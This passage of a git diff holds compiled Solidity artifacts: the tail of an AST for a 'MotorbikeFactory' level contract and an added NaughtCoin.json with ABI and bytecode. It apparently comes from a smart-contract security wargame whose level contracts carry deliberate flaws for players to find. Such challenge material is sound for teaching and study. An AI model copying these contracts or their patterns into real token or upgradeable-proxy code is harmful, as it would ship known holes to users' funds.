MotorbikeFactory"}],"id":1348,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"679:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1347,"name":"address","nodeType":"ElementaryTypeName","src":"679:7:9","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1350,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"679:13:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":null,"id":1345,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"668:3:9","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":1346,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberName":"encode","nodeType":"MemberAccess","referencedDeclaration":null,"src":"668:10:9","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":1351,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"668:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":1344,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"658:9:9","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":1352,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"658:36:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"548:146:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"57726f6e672075706772616465722061646472657373","id":1354,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"708:24:9","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_3328915689de12a337fc477380b65dea5f371945806421e0d548cbda160ee9d9","typeString":"literal_string \"Wrong upgrader address\""},"value":"Wrong upgrader address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_3328915689de12a337fc477380b65dea5f371945806421e0d548cbda160ee9d9","typeString":"literal_string \"Wrong upgrader address\""}],"id":1330,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"527:7:9","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":1355,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"527:215:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1356,"nodeType":"ExpressionStatement","src":"527:215:9"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":1380,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1363,"name":"motorbike","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1309,"src":"813:9:9","typeDescriptions":{"typeIdentifier":"t_contract$_Motorbike_$1171","typeString":"contract Motorbike"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Motorbike_$1171","typeString":"contract Motorbike"}],"id":1362,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"805:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1361,"name":"address","nodeType":"ElementaryTypeName","src":"805:7:9","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1364,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"805:18:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"686f727365506f7765722829","id":1367,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"849:14:9","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_564f6d71ef5a5d40f2116379f28045cfb9a019b658bb231ac62ace0bcfa9b0fd","typeString":"literal_string \"horsePower()\""},"value":"horsePower()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_564f6d71ef5a5d40f2116379f28045cfb9a019b658bb231ac62ace0bcfa9b0fd","typeString":"literal_string \"horsePower()\""}],"expression":{"argumentTypes":null,"id":1365,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"825:3:9","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":1366,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberName":"encodeWithSignature","nodeType":"MemberAccess","referencedDeclaration":null,"src":"825:23:9","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":1368,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"825:39:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":1359,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"784:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":1360,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"functionCall","nodeType":"MemberAccess","referencedDeclaration":601,"src":"784:20:9","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory) returns (bytes memory)"}},"id":1369,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"784:81:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":1358,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"774:9:9","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":1370,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"774:92:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"31303030","id":1376,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"915:4:9","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_1000_by_1","typeString":"int_const 1000"},"value":"1000"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1000_by_1","typeString":"int_const 1000"}],"id":1375,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"907:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":1374,"name":"uint256","nodeType":"ElementaryTypeName","src":"907:7:9","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1377,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"907:13:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"argumentTypes":null,"id":1372,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"896:3:9","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":1373,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberName":"encode","nodeType":"MemberAccess","referencedDeclaration":null,"src":"896:10:9","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":1378,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"896:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":1371,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"886:9:9","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":1379,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"886:36:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"774:148:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"57726f6e6720686f727365506f776572","id":1381,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"936:18:9","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_d7aa4fc466c0880f5399aa9dd0db61b7e89d7d62cd404c243701f1214e9aeb1d","typeString":"literal_string \"Wrong horsePower\""},"value":"Wrong horsePower"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d7aa4fc466c0880f5399aa9dd0db61b7e89d7d62cd404c243701f1214e9aeb1d","typeString":"literal_string \"Wrong horsePower\""}],"id":1357,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"753:7:9","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":1382,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"753:211:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1383,"nodeType":"ExpressionStatement","src":"753:211:9"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1386,"name":"motorbike","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1309,"src":"990:9:9","typeDescriptions":{"typeIdentifier":"t_contract$_Motorbike_$1171","typeString":"contract Motorbike"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Motorbike_$1171","typeString":"contract Motorbike"}],"id":1385,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"982:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":1384,"name":"address","nodeType":"ElementaryTypeName","src":"982:7:9","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":1387,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"982:18:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"functionReturnParameters":1299,"id":1388,"nodeType":"Return","src":"975:25:9"}]},"baseFunctions":[1730],"documentation":null,"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","overrides":{"id":1296,"nodeType":"OverrideSpecifier","overrides":[],"src":"316:8:9"},"parameters":{"id":1295,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1294,"mutability":"mutable","name":"_player","nodeType":"VariableDeclaration","overrides":null,"scope":1390,"src":"284:15:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1293,"name":"address","nodeType":"ElementaryTypeName","src":"284:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"283:17:9"},"returnParameters":{"id":1299,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1298,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":1390,"src":"334:7:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1297,"name":"address","nodeType":"ElementaryTypeName","src":"334:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"333:9:9"},"scope":1412,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":1411,"nodeType":"FunctionDefinition","src":"1013:181:9","nodes":[],"body":{"id":1410,"nodeType":"Block","src":"1114:80:9","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":1400,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1394,"src":"1124:7:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1401,"nodeType":"ExpressionStatement","src":"1124:7:9"},{"expression":{"argumentTypes":null,"id":1408,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"1148:39:9","subExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1404,"name":"engines","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1292,"src":"1168:7:9","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_address_$","typeString":"mapping(address => address)"}},"id":1406,"indexExpression":{"argumentTypes":null,"id":1405,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1392,"src":"1176:9:9","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1168:18:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":null,"id":1402,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"1149:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":1403,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":550,"src":"1149:18:9","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":1407,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1149:38:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":1399,"id":1409,"nodeType":"Return","src":"1141:46:9"}]},"baseFunctions":[1739],"documentation":null,"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","overrides":{"id":1396,"nodeType":"OverrideSpecifier","overrides":[],"src":"1090:8:9"},"parameters":{"id":1395,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1392,"mutability":"mutable","name":"_instance","nodeType":"VariableDeclaration","overrides":null,"scope":1411,"src":"1039:25:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":1391,"name":"address","nodeType":"ElementaryTypeName","src":"1039:15:9","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"value":null,"visibility":"internal"},{"constant":false,"id":1394,"mutability":"mutable","name":"_player","nodeType":"VariableDeclaration","overrides":null,"scope":1411,"src":"1066:15:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1393,"name":"address","nodeType":"ElementaryTypeName","src":"1066:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"1038:44:9"},"returnParameters":{"id":1399,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1398,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":1411,"src":"1108:4:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":1397,"name":"bool","nodeType":"ElementaryTypeName","src":"1108:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"1107:6:9"},"scope":1412,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":null,"baseName":{"contractScope":null,"id":1287,"name":"Level","nodeType":"UserDefinedTypeName","referencedDeclaration":1740,"src":"198:5:9","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$1740","typeString":"contract Level"}},"id":1288,"nodeType":"InheritanceSpecifier","src":"198:5:9"}],"contractDependencies":[109,849,1171,1281,1740],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[1412,1740,109,849],"name":"MotorbikeFactory","scope":1413}],"license":"MIT"},"id":9} \ No newline at end of file diff --git a/contracts/out/NaughtCoin.sol/NaughtCoin.json b/contracts/out/NaughtCoin.sol/NaughtCoin.json new file mode 100644 index 000000000..7bdad8063 --- /dev/null +++ b/contracts/out/NaughtCoin.sol/NaughtCoin.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_player","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"INITIAL_SUPPLY","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"allowance","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8","internalType":"uint8"}],"stateMutability":"view"},{"type":"function","name":"decreaseAllowance","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"subtractedValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"increaseAllowance","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"addedValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"player","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"timeLock","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"_to","type":"address","internalType":"address"},{"name":"_value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"transferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"spender","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"from","type":"address","indexed":true,"internalType":"address"},{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x608060405262000014426312cc030062000232565b60055534801562000023575f80fd5b5060405162000f2838038062000f2883398101604081905262000046916200024e565b6040518060400160405280600a8152602001692730bab3b43a21b7b4b760b11b8152506040518060400160405280600381526020016203078360ec1b81525081600390816200009691906200031a565b506004620000a582826200031a565b5050600780546001600160a01b0319166001600160a01b03841617905550620000cc601290565b620000dc9060ff16600a620004df565b620000eb90620f4240620004ec565b60068190556007546200010a916001600160a01b039091169062000146565b6007546006546040519081526001600160a01b03909116905f905f8051602062000f088339815191529060200160405180910390a35062000506565b6001600160a01b038216620001a15760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620001b4919062000232565b90915550506001600160a01b0382165f9081526020819052604081208054839290620001e290849062000232565b90915550506040518181526001600160a01b038316905f905f8051602062000f088339815191529060200160405180910390a35050565b505050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156200024857620002486200021e565b92915050565b5f602082840312156200025f575f80fd5b81516001600160a01b038116811462000276575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620002a657607f821691505b602082108103620002c557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200021957805f5260205f20601f840160051c81016020851015620002f25750805b601f840160051c820191505b8181101562000313575f8155600101620002fe565b5050505050565b81516001600160401b038111156200033657620003366200027d565b6200034e8162000347845462000291565b84620002cb565b602080601f83116001811462000384575f84156200036c5750858301515b5f19600386901b1c1916600185901b178555620003de565b5f85815260208120601f198616915b82811015620003b45788860151825594840194600190910190840162000393565b5085821015620003d257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b600181815b808511156200042657815f19048211156200040a576200040a6200021e565b808516156200041857918102915b93841c9390800290620003eb565b509250929050565b5f826200043e5750600162000248565b816200044c57505f62000248565b8160018114620004655760028114620004705762000490565b600191505062000248565b60ff8411156200048457620004846200021e565b50506001821b62000248565b5060208310610133831016604e8410600b8410161715620004b5575081810a62000248565b620004c18383620003e6565b805f1904821115620004d757620004d76200021e565b029392505050565b5f6200027683836200042e565b80820281158282048414176200024857620002486200021e565b6109f480620005145f395ff3fe608060405234801561000f575f80fd5b50600436106100e5575f3560e01c806348db5f8911610088578063a457c2d711610063578063a457c2d7146101d5578063a9059cbb146101e8578063d085835a146101fb578063dd62ed3e14610204575f80fd5b806348db5f891461017a57806370a08231146101a557806395d89b41146101cd575f80fd5b806323b872dd116100c357806323b872dd1461013c5780632ff2e9dc1461014f578063313ce567146101585780633950935114610167575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161023c565b6040516100fe919061084e565b60405180910390f35b61011a6101153660046108b5565b6102cc565b60405190151581526020016100fe565b6002545b6040519081526020016100fe565b61011a61014a3660046108dd565b6102e5565b61012e60065481565b604051601281526020016100fe565b61011a6101753660046108b5565b610308565b60075461018d906001600160a01b031681565b6040516001600160a01b0390911681526020016100fe565b61012e6101b3366004610916565b6001600160a01b03165f9081526020819052604090205490565b6100f1610346565b61011a6101e33660046108b5565b610355565b61011a6101f63660046108b5565b610403565b61012e60055481565b61012e610212366004610936565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606003805461024b90610967565b80601f016020809104026020016040519081016040528092919081815260200182805461027790610967565b80156102c25780601f10610299576101008083540402835291602001916102c2565b820191905f5260205f20905b8154815290600101906020018083116102a557829003601f168201915b5050505050905090565b5f336102d9818585610445565b60019150505b92915050565b5f336102f285828561059c565b6102fd85858561062c565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091906102d9908290869061034190879061099f565b610445565b60606004805461024b90610967565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103f65760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102fd8286868403610445565b6007545f906001600160a01b03163303610434576005544211610424575f80fd5b61042e8383610841565b506102df565b61043e8383610841565b5092915050565b6001600160a01b0383166104c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b03821661053c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062657818110156106195760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103ed565b6106268484848403610445565b50505050565b6001600160a01b0383166106a85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b0382166107245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b0383165f90815260208190526040902054818110156107b25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e890849061099f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161083491815260200190565b60405180910390a3610626565b5f336102d981858561062c565b5f602080835283518060208501525f5b8181101561087a5785810183015185820160400152820161085e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108b0575f80fd5b919050565b5f80604083850312156108c6575f80fd5b6108cf8361089a565b946020939093013593505050565b5f805f606084860312156108ef575f80fd5b6108f88461089a565b92506109066020850161089a565b9150604084013590509250925092565b5f60208284031215610926575f80fd5b61092f8261089a565b9392505050565b5f8060408385031215610947575f80fd5b6109508361089a565b915061095e6020840161089a565b90509250929050565b600181811c9082168061097b57607f821691505b60208210810361099957634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102df57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220ba781f5cd3cc8446ed1ba6a3609ba07d956fb73d3732c75c110c4cf6ad8ef9cf64736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","sourceMap":"116:1047:95:-:0;;;317:31;:15;335:13;317:31;:::i;:::-;291:57;;417:340;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1978:113:30;;;;;;;;;;;;;-1:-1:-1;;;1978:113:30;;;;;;;;;;;;;;;;-1:-1:-1;;;1978:113:30;;;2052:5;2044;:13;;;;;;:::i;:::-;-1:-1:-1;2067:7:30;:17;2077:7;2067;:17;:::i;:::-;-1:-1:-1;;483:6:95::1;:16:::0;;-1:-1:-1;;;;;;483:16:95::1;-1:-1:-1::0;;;;;483:16:95;::::1;;::::0;;-1:-1:-1;551:10:95::1;3175:2:30::0;;3093:91;551:10:95::1;537:25;::::0;543:19:::1;;537:2;:25;:::i;:::-;526:37;::::0;:7:::1;:37;:::i;:::-;509:14;:54:::0;;;668:6:::1;::::0;662:29:::1;::::0;-1:-1:-1;;;;;